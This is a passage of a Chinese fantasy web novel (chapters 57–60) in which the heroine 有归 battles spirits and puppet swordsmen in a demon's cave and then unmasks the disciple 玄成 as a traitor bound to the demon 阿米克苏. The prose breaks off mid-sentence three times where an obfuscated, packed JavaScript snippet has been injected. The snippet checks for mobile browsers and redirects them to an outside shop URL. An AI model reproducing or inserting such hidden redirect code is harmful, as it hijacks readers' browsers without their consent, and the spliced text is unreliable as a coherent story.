翾鸿羽说:“你以为你那点小算计真能瞒得过人?我们不过是将计就计罢了,正好冤有头债有主,我们这些兄弟姐妹这几百年的苦楚,就在今日一并报了。” 她自腰间抽出一截软缎,自空中一抖,那缎子瞬间化作一抹寒芒,直刺男子眉心,“你为冰我为火,水火不相容,从前你处处针对我我不与你计较,可你为一己私欲,听从阿米克苏的指使害我七宗门十五弟子命丧于此,又设夺魄阵使我等永镇这地渊之窟,实在是罪大恶极罪无可恕,今日我就代北境翾家除了你这祸害!” 男子急退几步,身体向后弯曲,躲过翾鸿羽这一刺。正待松口气,只见她手腕翻转,剑锋朝他削了下来。男子狼狈躲避,正想要反击,奈何他是一个正宗的脆皮远程法师,只要一被近身,就等于是刀板上的鱼肉,任人宰割。 他躲过了两剑,第三次却怎么也避让不及,在剑刺入胸口之时,他嘶声问道:“你不是专研火系术法吗?为什么会体修一道的剑术?” “我只是和涂蓝前辈请教过几招,会一点毛皮而已,是你自己太菜了,废物!”她回身收剑,因为是魂体,男子身上并无鲜血流出,一剑刺入心脏的位置只是创伤魂体。 翾鸿羽迅速画了一道符,将之拍入男子魂体,火焰遍布全身。男子倒在地上,死死咬着牙不肯发出一身嘶鸣,眼睛一直望着有归的方向,双手扒着地面。翾鸿羽看他这副作态略微有点无语,刚还把人冻成一坨冰,现在这副神情的样子给谁看啊?脑子坏掉了吧? 她看了眼有归,有归已经醒过来了,正皱眉看着这边。翾鸿羽看了看地上的人,生命力挺顽强的,都这会儿了还能爬,就又拍了一道符咒,让火烧得更旺一些。男子再也忍不住,嘶吼出声,在地上打着滚求翾鸿羽饶了他,他会自己散尽魂力。 他使用夺魂阵掠夺同门魂力滋养自身,魂体历练得十分凝实,偏偏翾鸿羽现在也只是魂体,画出的符咒只有省钱十分之一的功力,看上去就很像在故意折磨他。翾鸿羽当然不会相信他的鬼话,直白道:“你就不要想了,今天我一定会送你个魂飞魄散的。就是可惜现在已经没有冥府了,不然你这样的人就该打入十八层地狱,受遍刑罚后再去轮回畜生道。” 男子魂体被烧,痛苦难当,实在说不话来,只好用仇视的目光注视着翾鸿羽。翾鸿羽压根不在乎,继续往他身上拍符咒,虽然不是多一张就能加速一倍,但好歹能烧的快点。男子知道自己这次在劫难逃,转向有归的方向拼命伸出手,求你,求你再看我一眼。 见他这个样子,翾鸿羽反倒不知说什么好了。万般苦心事,只付有情人,可知羽前辈都不知道他这么个人,他到底折腾什么啊。 有归注意到了这边的动静,转头问苏萱:“这就上演替身文学了,他把我当谁的替身了?” 苏萱说:“倒不是什么替身,他是把你当知羽前辈的转世了。” “咳咳咳,”有归被呛到了。 如果她没记错,这个知羽是修真时代的顶尖天才,后来更是拯救了弥瑞可大陆,这样一个人转世成为她,一个可能是怪物的人,怎么想都觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683749|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得别扭。 苏萱拍抚着她的后背,说:“不是真的,自从灵基被斩断,冥府消散,魂魄便不再入轮回,就算知羽前辈真的死了,又怎么可能有转世呢?” 有归咳得脸都红了,抬头欲问,苏萱已经说:“阿米克苏骗了他,而你的确与知羽前辈长得有几分相似,他就信以为真了。这世间长得相像的人多了,远的不说,皇室那一大家子总有人活到了后世,血脉相连长得像的更多,难不成前辈那么倒霉,又投到了这一家?” 原来知羽是云上帝国皇室的后代,看来这其中的故事非常曲折啊。 有归没再问,苏萱也没有开口的意思,专心帮她疗伤。苏萱疗伤的手法比言宛然强得多,一团荧光从有归心口跳出来,绕着苏萱飞舞着,又碰了碰她的脸颊。 苏萱笑道:“好了好了,我知道了,我会把她全部治好,让她重新活蹦乱跳。” 有归伸手戳一戳那团荧光,那荧光亲昵地挨着她的手指蹭一蹭,然后飞到她的头发里去,像是在玩躲猫猫。有归问:“这是言宛然前辈?” 刚才就是言宛然在她脑海中传话,让她假装被冻住,配合行动。 苏萱道:“是也不是,只是宛然的残存的一点魂力,因为这个地方比较特殊,所以还未完全消散。” “那你们这样吗?” 苏萱嗯了一声,说:“现在已经没有冥府了,但死域还在,到时候希望我们能落在一个地方,也有个伴。哎,别哭啊,我们几百年前就死了,早就该去死域报道了,现在能见到你,已经很好了。” 有归眼泪一直在淌,她咬着唇,哭道:“对不起。”她为自己之前那些伤人的话道歉。 “哎哎,真的是,我没生气,你别哭啊,我不会哄小孩的。”苏萱手忙脚乱,治伤又不是,哄她又不是。 翾鸿羽过来一看这场景就笑了,被苏萱瞪了一眼,“还不快来帮忙。” “好吧好吧。”翾鸿羽接手了爱哭的小孩,说,“我们没多少时间了,让我们帮你疗完伤,后面还有好几关要闯呢。” 一招绝杀,有归努力收住了眼泪,但依旧抽噎着。翾鸿羽笑道:“也不知道翾清禹眼睛怎么长的,这么爱哭,和知羽前辈哪里像了?” 见有归看着她,翾鸿羽解释道:“我们本家的家主,就是禤水凝和知羽前辈相熟,听说前辈曾经来我们北境翾家和禤水凝家主一起修习过符石阵法,所以我们这些后辈知道一些知羽前辈的事情。” “我也是听家主提起过一两句,知羽前辈从来不哭,不管遇到什么事,在谁面前,都不肯哭。”她伸手揉了揉有归的头,“你很幸运,一定有很多人爱着你吧。”不是会哭的孩子有糖吃,而是有糖吃的孩子才会哭,才会哭得那么惹人疼。 很快有归的伤就恢复了,她站起来蹦了两下,确定没问题,回头兴冲冲地说:“我全好了!你们......” "我们要走了。"翾鸿羽笑道。 苏萱有些嫌弃,“你真的别哭了,这回没人哄你的。” 两人都化作闪耀的荧光,钻入有归的心口,然后有归接收到苏萱留给她的最后一句话: “你下面还有三关,其他的都没什么问题,你的血可以唤醒他们。你要特别注意一个使剑的剑修,他是我们之中修为最高的,也最嫉恶如仇,你要小心......” 58. 第 58 章 接下来的遭遇的确如苏萱所说,有惊无险的度过了,有归也没有受什么伤。她一直提防着那个剑修的出现,可是直到第三关,依然没有遇到使剑的人。 第三关,也就是最后一关,是一个遮面女子,抱着琵琶坐在洞穴中央。 看见有归,她也只是漫不经心的低头拨弦,手指微动,一道无形的音波划开空气直扑有归! 好在有归并没有因此放松,身体向后一折躲过第一次攻击,随即旋身一拧,足尖在地面一点,腾空而起,避过女子接连几道攻击。女子眼睛看着有归,手下不停,娱人的管弦之声在她手里充斥着杀气,几乎要化作实质。 只见她伸手在弦上连弹,又是一抹,数不清的音波刺破空气猛扑向有归。有归在空中腾挪翻转,身子翩翩,仿佛一只蝴蝶,当然,也很像耍杂技的。 女子攻击不断,有归也无法停歇。她心里烦极了这种只能挨打不能还手的处境,好在已经一步步接近了女子,趁着她没有反应过来,有归直接扑过去,手指往弦上一抹,鲜血淋漓的全蹭女子脸上。 女子的面纱被她胡乱扯掉了,露出一张十分熟悉的脸,分明是她刚进入这个副本时遭遇的那个透明人,只不过现在是女版。 有归犹如大冬天兜头被浇了一盆凉水,全身都僵住了,只有大脑在飞速运转,因为转的太快而几乎宕机。那女子抬头嫣然一笑,笑容中满是嗜血的杀气,忽然飞身而起倒退回黑暗之中。此方洞穴霎时一暗,一声铮然的乐声突兀响起,紧接着,杀气纵横的金石之声从四面八方传来。 正菜要来了。 有归心神一凛,正全心身防范着那不知道从何处而来的攻击,忽然脑海针扎似的疼了一下,紧接着就像是有人拿了一把刀在她大脑里搅拌一样,搅完了还往里深深一捅,又是一阵翻转。饶是以有归的自制力,也不由痛得嘶吼出声。她瘫软在地,口中惨叫不已,只是没有像一般人那样毫无形象地在地上翻滚,鼻涕眼泪糊一脸罢了。 大脑已经痛到麻木,痛到她再也无法思考,最糟糕的是,因为这痛楚太过剧烈凶猛,连四肢都暂时停摆了。有归脸色惨白,额头上全是冷汗,呼吸一下急过一下,几乎要厥过去。她毫不犹豫举起手臂,一口咬在手腕上,咬的深可见骨,却没什么用。 只好死死攥着拳头,咬牙挺着,一遍遍强行命令自己不准晕过去,不准昏倒! 在这样的地方痛晕过去,和直接宣判死刑没什么区别。而只要撑过这第一波冲击,后面的事情,就好办了。她的身体适应性极强,只要没有把她一波送走,那就不算事儿,再痛再苦,哪怕是缺胳膊少腿儿她也能把局面扭转过来。 那筝声还在继续,此时有归已经痛过一轮了,大脑和身体在几乎被搞瘫痪之后终于打开了防御模式,没再撂挑子。她全身上下都像是刚从水里捞上来的,很艰难地控制着手指动了一下,这才尝试重新获取身体的控制权,当她强撑着从地上爬起来的那一刻,有一种想哭的冲动。 有归靠着山壁大口大口喘着粗气,自从进入未来时代以后,这是她头一次这样狼狈。山洞静悄悄的,筝声已经停了,有归的身体和神经却紧绷了起来,前戏应该已经唱完了,该上正菜了。 “咻”的一声,一支箭羽破空而来,而有归的身体还未恢复,躲闪不及,肩膀被那箭刺穿。她闷哼了一声,握住箭支直接拔了出来,那箭头上有倒钩,带出来一片血肉模糊。没时间慢慢包扎了,有归直接将一团纱布塞进去,往伤口上一按,就不管了。 山洞中忽有寒光闪过,继而光芒大盛,似明月倾倒。上百名白衣剑客列阵以待,剑锋所指,正是有归。有归见他们先是剑尖指地,绕着自己转圈,先是左三圈再是右三圈,步伐很快,走得很稳。紧接着又变换队形,原本是内外两个圆的,这会儿也散开了,一众剑客齐向空中挽了个剑花,然后就各自舞剑,寒光闪烁白衣翩翩,脚下一刻不停,位置也在不断变化。 有归看了一会儿,才想起来这或许是某种阵法,既然如此,那就不能让它继续下去。她反手将箭掷出,直扑离她最近的那个剑客,不出所料被挑开了。但不要紧,这一招是声东击西,她真正的目标其实是另外一个! 然而有归扑空了,这人和她最开始遭遇的那个男人一样,无法触碰。联想到方才那人将箭挑开,有归福至心灵,直接去夺此人的剑。 她一把抓住剑柄,手腕一转,便将剑锋对准这人削了下去,此人避闪不及,剑尖在他脖颈至胸前划开一条口子。 就像她猜的那样,这些人虽然奇奇怪怪的,但并不是真的透明人,只是不知道为什么她无法碰到,但借助外物,她依然可以伤到他们。而且她刚刚夺剑伤人,速度再快也是需要时间的,不管这群人是剑修还是什么,刚才那点时间足够他们反应并做出应对了。 有归刚刚伤了一个,还有九十九个,这九十九人每人给她一剑,都足够把她剁成肉泥了。但这些人愣是没有一个能够及时反应过来并补刀,看来她之前的猜想是错误的,这些人,包括她初进副本时遇到的那个人,都不是殒落于此的修士的灵魂,而是受人操控的傀儡。 而她现在要做的,就是把所有傀儡都打掉,逼幕后之人现身。 剑锋滚落一串血珠,有归横剑向上,挽了一个漂亮的剑花,提剑向人群杀了过去。她当然不会使剑,未来时代用的都是热武器,她后来跑去军队,军队训练也不会教这个,但不要紧,她可以现学。 因为从小身边都是出自未科院的高尖科研人才和预备高尖科研人才,有归一直觉得自己不算一个聪明孩子,其实她过目不忘,学什么都是一看就会。 此刻这方洞穴中数十人,都是她的师傅。 但见有归身姿如鸿,虽是初次使用长剑,仍挥洒自如。旁人挥剑,她也挥剑,旁人一剑刺出,她回剑格挡,然后把剑向前送出,变削为刺,贯穿了这人的咽喉。 这些人剑法并不如何迅猛,然而有归之前所学只有两个作用,赤手空拳是制服,武器在手则杀人。前面她一直都是空手和人打斗,面对的又是一些非人生物,好不自在,现在有剑在手,适应了一阵,便如打开了封印,杀气比对方还重。 毕竟,她是真的从前未来时代的尸山血海中趟过来的。 只是这洞穴之中近百人,哪怕是抓都好一阵,更何况有归是要将他们全部杀死。虽然这些人都是傀儡,可打斗时,和杀掉他们的手感,与常人无异。 有归偶尔会有一种错觉,这些殒命剑下之人,并不是受制于人的傀儡,而是活生生的人。 她也不是为自保而挥剑,而是因嗜血泄愤而滥杀无辜。 她分心了。 在生死场上,任何失误都是致命的,更何况她这样明显的恍惚。那些傀儡多有呆滞,然而此时却有人眼中精光一闪,抓住这一瞬的破绽,挥剑就向有归掠来。 这洞穴中平地起波涛,狂风大作,一道剑光暴涨,刹那间过了一场千山万水的雪。有归连忙持剑去挡,“当”的一声微响,两剑相抵,到底是有归剑不如人,耳鼻口甚至是眼睛都流出了鲜血,从虎口到手肘一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人的身体里能有多少血液禁得住这样流呢?就算她是一个怪物,这样一路走下来,她身体里的血液几乎都流尽了,人也虚弱到了极致,只要她闭上眼睛,就再也醒不过来。 她方才使的那一招是涂蓝突破至化神境时所领悟的剑招,奇迹时代人们将修行等级划分为三阶四境,而化神境取化物成神之义,是修行之人所能达到的最高境界。这样一个堪称终极大招的招式被有归这个完全没有修炼底子的人强行用了出来,完全就是逆天而行,她没有当场化作齑粉消散已经很不错了。 这个法子本就是伤敌八百自损一万。 “你还不现身吗?”有归将头转向某个方向,忽然道。 不一会儿,那里果然出现了人影,一袭飘摇的白衣,再往脸上一看,也是十分俊美。有归眨了眨眼,说:“你就是涂蓝的大弟子玄成?” 苏萱说涂蓝此人十分颜控,当年处处照顾洛知羽的原因之一,就是她长得好看。那时知羽年纪尚小,天赋又高,涂蓝十分想收这样一个学生,为此不惜与更早和知羽相识的墨风大打出手。最后被时任盛羽帝国学院校长的蒋老截胡。 涂蓝:d(?д??) 墨风:d(?д??) 蒋老:(≧?≦)/ 那人沉默半晌,道:“是。” 他抽出剑,将剑尖指着有归咽喉,道:“你为什么会我师父的招式?别想耍花招,这一招太虚剑蕴我师父只用过一次,就算苏萱翾鸿羽告诉你这剑诀,你根本没有灵力,为什么你可以用出这一招?” 说到最后,几乎可以说是声色俱厉。 59. 第 59 章 人为刀俎,己为鱼肉,然而就是这样的境况,有归依旧笑得出来,“我猜的果然不错,虽然你将自己的意识附在那傀儡之上,但我那一剑别说重伤你,恐怕你的神魂都未有分毫损伤。” 见有归并不回答他的问题,玄成大怒,剑尖将有归的皮肤划破:“回答我!你真以为我不敢杀你吗?” 有归一边咳血一边笑道:“以我现在的情况,就算你不杀我我也活不了,更何况你的确不会杀我,不是吗?” 不是不敢,而是不会。 大多数人对于体修一道,尤其是剑修都有一种刻板印象,认为他们天性质朴,脑袋里只有一根筋。某种程度上来说,玄成完美符合这种印象,除此之外,又有一点小狡猾。之前以傀儡掩盖自己的行踪,还找好了替死鬼,而现在他直接现身,是因为有归已经无法威胁到他了。 当然,还有另外一个理由。玄成沉着脸把剑放下,说:“你得到了我师父的传承?” 若非如此,一个从未修行、半点灵力也无的人,如何能使出太虚剑蕴? 然而说完了自己又摇头否认:“不,如果你真得到了我师父的传承,哪怕你只是一个手无缚鸡之力的普通人,用出这一招的威力何止是刚才的百倍千倍。” 他打量着有归,不敢置信道:“难不成你真的只依靠剑诀就使出了这一招?这怎么可能!” 有归略微掀眼皮看他,懒得说话,也没有力气说话。曾经有人以为她永远不会死,还以此诅咒她永享孤独,但现在她的生命力正在快速流逝,已是油尽灯枯。从前受了那么多回致命伤,多少次都以为救不回来了,她却一直活到现在,原来想要杀死她很容易,只是需要找对方法。 就是不知道这方法是她自杀,还是使用灵力。 她无力地闭上了眼睛,忽然嘴巴被硬塞进了什么东西,一只手托着自己的下巴,强迫自己把那东西咽下去。这东西并不难吃,凉丝丝的,还带一丝清甜。有归一把打掉下巴上的手,弯腰咳嗽,眼泪都流出来了,被噎的。咳完了,她抬头对玄成道:“你果然没有死。那个设计苏萱,害死禤水凝,害得大家葬身于此的叛徒,就是你吧。” 那东西吞入肚腹之中,立马发挥了效用,一股暖流瞬间涌出,流向她的四肢和五脏六腑,续上了原本断绝的生机。这样的东西大概是奇迹时代特供超级愈合药剂,真正的能生死人肉白骨的东西。有归没有接触过修炼之事,也明白生死对立,如果玄成是和言宛然翾鸿羽她们一样的状态,怎么可能接触这样蕴含无限生机的东西。 唯一的解释,就是玄成没有死。 可当年那一场大战惨烈到连禤水凝这样的一代宗师都折了进去,没道理玄成还能活下来,只能说明他才是那个叛徒。苏萱也好,翾清禹也罢,都是玄成找的替死鬼,放出的烟雾弹,这么多年,他藏得一直很好。 玄成深深地望着她,说:“你很聪明。” 有归叹了口气,“聪明有什么用,还不是稀里糊涂搅了进来,几次三番差点死在你手里。我刚进来时遇到的那个男人,是你的傀儡吧?你是想把所有会影响此地的不利因素都扼杀掉还是只是想要杀掉苏萱?” 玄成不置可否。 有归道:“我想,你最开始的目标,应该是苏萱。” 玄成惊讶地看着她,有归继续道:“我不知道这里是何处,但应该是在底下很深很深的地方。”不然,又怎么会选在这里封印那个阿米克苏,孟溪村的那个恶魔不就是被封印在地渊之下。“我来到这里只是一个意外,就不用说了。这几百年来,这魔窟之中唯一的不确定因素,只有一个还清醒着的苏萱。” 当年的事情,玄成高估了自己的智商,却又低估了苏萱。 被扣上偌大一口黑锅,苏萱这个当事人心里是最清楚自己到底做没做过那些事的,所以在惨剧发生时,她留了一手,成为除罪魁祸首外,这魔窟之中唯一保有理智的人。当她发现本该灰飞烟灭的同门成为不人不鬼的怪物,游荡在这魔窟之中时,虽然还不知道罪魁祸首是谁,也不懂这样安排的意义,但苏萱还是行动起来,唤醒陷入疯狂的同门,以求破坏他的计划。 苏萱原本不知道自己这法子有没有效,但后来遭遇的追杀不是假的,她也就明白了。她那些死去的同门之所以失去理智、恶煞缠身,是因为被人利用填了阵法,可这种不见天日的地方,炼这种恶毒至极的阵法又有什么用呢? 她不懂。 她生前修习的是木系术法,间或辅修体术,对于符石阵法完全不同。于是她找到翾鸿羽,拼尽全力唤醒她,可翾鸿羽也只看得出来这阵法虽然邪恶,但没有多大的力量。事情进行到这里完全停滞,她们既无法解救自己的同门,彻底破坏阵法,也揪不出凶手。虽有猜测,却无法证实,更不可能逼他现身亲自承认。 直到有归出现。 有归说:“你最开始是想直接杀死我的,却没想到不仅没有得手,反而让苏萱与我有了接触。她故意误导我,让我以为她才是幕后真凶,从而一路追寻下去。而你则将计就计,找了一个替罪羊,将所有罪责都推给翾清禹,谁让他心存妄念呢。” 玄成沉默了很久,才道:“我说过,你很聪明。” “但你显然不怎么聪明,你暴露太多了。”有归毫不客气地说。 玄成面露疑惑,他细想了想,道:“苏萱或许对我有所怀疑,毕竟我们这些同门之中,有能力做到这件事的仅有那么三五个人。但她也只是怀疑而已,并不能确定,为何你却如此笃定?” “因为翾清禹。”有归注视着玄成的眼睛,说,“苏萱她们确实提醒过我,但只是觉得我可能不是你的对手,是我觉得翾清禹的表现过于奇怪,于是在获得她们的许可后,翻阅了关于你们的记忆。” "也许你自己都忘了,你曾经主动在翾清禹面前提起了洛知羽。虽然看上去只是一次正常的谈话,但你不知道的是,当时你提起洛知羽时翾清禹流露出的神色,也在你脸上出现过。" 玄成没想到有归竟这般心细如 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反正在将所有线索都捋顺了以后,有归就开始了她的常规操作,她这一招叫做置之死地而后生。强行使用太虚剑蕴确实对她造成了毁灭性的打击,但有归赌的就是玄成不敢让她死,因为现在,这个世界只有有归一个人用得出这一招。 这招独属于涂蓝的太虚剑蕴。 而提到这件事,玄成眼眶已经红了,十分伤心的样子,“师父去世后,我没想到居然还能再见到太虚剑蕴,就凭这一点,我就不会让你死。” 这回沉默的反而是有归了,猜想得到证实,她却一点也不高兴。特么的这小子居然真的觊觎自己的师父,不理解,也不想尊重。再想想之前的翾清禹,你们这个队伍是挺清奇的,禤水凝也怪不容易。 在迂回了这么一大圈之后,有归总算是回答应了玄成最开始的那个问题:“你想得没错,我的确没得到涂蓝的传承。”她都不知道修道者的传承是什么东西。“我也不知道怎么回事,只是随便一念,就使出来了。” “这,这......”震惊已不足以形容玄成此刻的心情,“咣当”一声,长剑从他手中脱落,他也顾不得去捡,只是看着有归,胡乱道,“这太虚剑蕴我师父曾传授给我,我修习了几十年,仍然凝不出金剑。我是天才,人人都说我是百年一遇的天才,可我依然做不到师父的要求,凭什么你就可以?凭什么?” 他犹不肯信,“凌驾于天才之上的,几千年来也只有一个洛知羽,难道你也有这样的资质不成?” 有归换了个舒服一点的姿势,托着腮看他,“可是苏萱说过,洛知羽亲口承认的,我是唯一可以杀死阿米克苏的人。言宛然奥莱托还有翾鸿羽他们也都认得我哎,我的血可以唤醒他们,这可是洛知羽都做不到的事情。” 玄成一脸茫然,他抱着头低吼道:“可是所谓‘梦魇’之说不是假的吗?是洛知羽指使司危司取兄妹故意放出的末日预言,我等出现在此,不就是她想借阿米克苏之手排除异己?” 有归:“......” 有归说:“你是不是被骗了啊?” 60. 第 60 章 什么梦魇什么末日预言的,她没听懂,但这个司危司取兄妹之前苏萱提到过,洛知羽的大名更是如雷贯耳。 有归对这些人都不熟,她只是从常理推断:“洛知羽自己出身皇室,后来又是盛羽帝国学院的校长,你自己刚才都说她的资质凌驾于天才之上,恐怕修为也是凌驾于所有人之上吧,这样的人她需要排除异己?而且你说的这个异己还是涂蓝,到底是你在发癔症还是这个世界疯了?” 通过苏萱她们记忆里的某些片段,有归对知羽有了一个判断:只要她想,别说云上帝国的皇位了,就算是她想统一大陆,做这个世界的帝皇,都没有人能够阻拦她,也没有人会阻止她。拥有这样恐怖的人心和力量,却依旧能够克制自己的欲望,有归对知羽不是不好奇。 而知羽和涂蓝的关系,其实类比有归与LUO、YIN也不为过,有归挥刀向自己的两个姐姐,这种事情光是想想,就荒唐到让她笑出来了。 玄成只觉得她脸上的笑异常刺眼,也让他异常痛苦:“不是她还能有谁?那时我师父只差一步登神,如果不是洛知羽不愿我师父与她并列,从中作梗,我师父又怎么会陨落?!当时已经是神魔战争之后,所有恶魔都被封印,有能力对我师父出手的只有她一个!” 有归忽然发问:“你师父死后,洛知羽有什么行动?” 说到这个,玄成更是愤恨,“她收到消息后,立刻让我与他人到处奔走,说是确认各处封印在地底的魔物的情况。当时明明已经天下太平,她这分明就是做贼心虚,故意支开我!” 这人还真全是情绪没有一点技巧,有归瞅着涂蓝的这个大徒弟,确实是天性质朴,真就是看脸收的?还是说天赋全点在修炼上了所以智商这一行都扣成了负数?他是真的只看得见表面,完全不会联想。 有归问他:“既然天下太平了,那你们为何又要来到这里重新封印那什么阿米克苏?” 玄成神情一滞,复又愤愤道:“这就是洛知羽的阴险之处,除掉我师父一个还不够,她还要将所有可以威胁到她的人都一一清除。她连墨风都不放过——就在她安排墨风去探查弗朗索托斯的半个月后,当初封印弗朗索托斯的威克索马小镇传来消息,墨风他们全部失踪了,各大宗门出动,依旧没有找到一点线索。” “当时我偷偷去封印之地查看过,弗朗索托斯就在地底沉睡着,根本没有苏醒的迹象;弗朗索托斯本就是被重创后才封印的,就算祂真的苏醒过来,全盛时期的祂尚且不是墨风的对手,更不要说那时候的祂了。更何况除了墨风,同行的还有好几位超凡境界的修士,难不成弗朗索托斯一直在隐藏实力,实际祂能一波把一个化神期圆满的半神和六位超凡境的高手送走,还不留一点痕迹?这根本不可能!能做到的只有洛知羽。” 有归本来想说什么的,看了看玄成激动的模样,还是闭上了嘴,心情十分复杂。 你现在这种行为很像一个扭曲的粉转黑知道吗?虽然这是后世的称呼,虽然你口口声声憎恨着洛知羽,但你一直都没发现,其实你心里一直都是认可她的。你否定了所有可能,将谋害你师父涂蓝、将谋害亲夫墨风的罪名,甚至将所有遭遇不幸的修士的命运都怪罪到她头上,在你眼里她的罪名罄竹难书,同样,在你看来,你的师父涂蓝,一步登神,墨风,一个半神,再加上这片大陆所有修士,都比不上一个洛知羽。 你那颗愚钝的心被仇恨蒙蔽的同时,却也做出了最本真的选择。 有归忽然意识到,这趟游戏之旅并不是无趣的解密过程,她所经历的所看到的只是过去的历史长河中种下的因果。而这其中有什么人做了什么事,从而让她看到了这样的结果,她一无所知。但不该是这样的,历史不该在无尽的岁月中褪色,更不该被掩埋。 玄成还在继续,知羽的强大此刻成为她的原罪,在他的口中,所有怀疑似乎都变成了既定的事实:“我师父和墨风接连陨落,可她依旧不罢休,后来将禤水凝派往此地。本来这次的队伍是没有我的,是我主动请缨,她大概也是想要一网打尽,所以同意了。” 有归打断了他的话头,“禤水凝和你师父还有墨风一样厉害吗?” 玄成一愣,想了好半天才回答道:“禤水凝其实比我师父更早进入化神境,只是她主修的符石阵法太过高深,又有大陆第一美人的盛名,又是北境翾家的家主,声名太盛,人们也就忘了她其实也是半神之躯。” 懂了,这是一个六边形战士。因为没见过禤水凝,也没经历过奇迹时代,有归很难想象是怎样的声势浩大,才能将一项本就突出的长处给彻底遮掩住了。 她倒是真的很想见见禤水凝。 六边形战士她见过,比如LUO和YIN失踪后,代替两人照顾有归的墨闲倾,就是风靡整个未来城市的影视歌三栖巨星。能编会写,首首爆曲,部部叫好叫座,而且还是著名画家,能开画展的那种。除此之外,她还拥有顶尖的美貌,有归跟她一起生活了近百年,每次看到那张脸内心都会被惊艳刷屏的那种美貌。 但墨闲倾也不这样啊,提起她的名字,首先想到的都是她的实力。 而这个禤水凝,实力似乎只是她最不起眼的一项。 有归心思千回百转,还不忘冲玄成点头。 玄成其实并不在意有归专心与否,他只是想要一个听众罢了。被困在这魔窟之中几百年,身上又背着那样沉重的秘密,各种各样的情绪煎熬着他的内心,他也是不吐不快。 他太久没有与人交流了,便有些抑制不住倾诉的欲望,他说:“这里原本封印着‘渴血的魔鬼’阿米克苏,在赤月那边,又称呼祂‘鲜血的奴隶’。这个阿米克苏是在神魔大战里,被我师父亲手封印在这里的。”所以他才主动请命,坚持要来。 但是来到这个地方以后,情况却有些不对劲,阿米克苏似乎就要挣开封印重获自由了。见状,禤水凝当机立断,决定重新封印阿米克苏,谁也没想到这一行动却坏事了。 有归心下一动:“你是说,并不是你在封印阵法上做的手脚?” “不是。”玄成摇头,都这会儿他也没必要撒谎。 只是这样一来,事情就变得很有趣了。 有归笑了笑,指着他眼底血色的花纹,说:“或许你的确不是害死大家的凶手,但你的确出卖了灵魂,与恶魔达成了交易。不然,你一个正道修士,为什么会有这样的印记?” 玄成诧异地看着有归,眼底浮现出笑意来,“我之前就说过,你很聪明。不错,在禤水凝殉阵之后,阵法即将完成之时,阿米克苏找到了我,祂和我做了一个交换。” 有归叹了口气,说:“祂是不是告诉你,这个世界因果颠倒善恶错位,你当拨乱反正、力挽狂澜,正本清源。” 玄成一愣,问道:“你怎么知道的?” 她在前未来时代和未来时代知道的,那些噩梦乐园的狂热信徒信奉的就是这一套,将摧毁人类家园的魔鬼奉为真神,将反抗到底的人们视为叛逆,认为噩梦乐园离去后满目疮痍的世界才是真实。 荒谬吗?当然荒谬! 可笑吗?当然可笑! 但就是这样一套荒谬又可笑的理论,却被一小撮人奉为真理,一直流传到星历3873年。 这是诡辩,但很多人往往被这种似是而非的东西给唬住了,陷入怪圈之中。那些信奉噩梦乐园的信徒是这样,玄成也是这样。 从玄成的角度来看,天下太平之际,自己就要成神的师父忽然死了,没有前因没有经过只有一个结果,而那个唯一有能力做到这件事的人,还在这当头把自己差遣出去了,到最后他师父的死还是没有个交代,他怀疑是知羽下的毒手有问题吗? 而后面那些接近成神的人们接连出事更加深了这种怀疑,他心里埋下了这样的念头,阿米克苏忽悠他,自然是一忽悠一个准。 知羽是无妄之灾,也是怀璧其罪。 “阿米克苏需要你帮助祂重获自由,那作为交换的条件,你会获得什么?”有归问他。 “阿米克苏说,当世界露出真实之一面,虚假自然消退,死去的人们都会复活。” 这回轮到有归愣住了,她看了眼玄成,不敢相信这么句话就把他给唬住了。但细想过后,她不得不承认,就是这么简单粗暴的逻辑,才对得上玄成直白的思维。 有归揉了揉脑袋,看着玄成,很认真地告诉他说:“你被骗了。” “你认定知羽是杀死你师父涂蓝乃至众多修士的凶手,无非是她是当时大陆的最强者,只有她才有能力做到这件事。但是,世界之外,能够做到这件事的强大存在比比皆是!” 玄成大惊失色,“什么?” 有归面无表情:“我的两个姐姐,一个下落不明音讯全无,一个流亡在外有家不能回,都是拜这些存在所赐。我不知道你们说的阿米克苏与这些存在有何关联,但就我目前所知,祂们对人类并不友善,有一些甚至仇视人类。” YIN曾觉察到来自宇宙中不明生物的窥伺,那些目光冰冷无情,让人如芒在背。没过多久,星外空间站离奇消失,LUO收到YIN失踪前发来的消息,只有一个字:逃!与此同时,LUO也察觉到那些暗中窥伺的目光,并与之正面交锋,而后,她乘坐完成研发的时空穿梭机初号机离开弥瑞可大陆,现在不知道在什么地方流浪。 临出发前,LUO告诉有归,人们生活的这个世界就像是大鲸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有归忽然想起这句话,那边玄成却彻底疯魔了,血色花纹浮于眼球之上,周身萦绕着一层实体化的黑红交织的不详气息,脸色灰败。他提剑对准有归,表情癫狂而扭曲,笑声犹如魔音贯耳:“你以为我看不出来你是在故意拖延时间打探消息吗?只是我不在乎,你不是我的对手!如果不是你这具身体还有点用处,我早就杀了你,将你的尸体剁成泥拿去喂狗!” 有归没动,抬眼看着玄成,叹气道:“你是想拿我的身体当涂蓝的容器是吗?” 玄成讶异地看着她,说:“你居然猜到了,哈哈哈哈哈。既然你知道,那就乖一点,在师父复活前,我不会杀你,还可以给你最好的供养。” 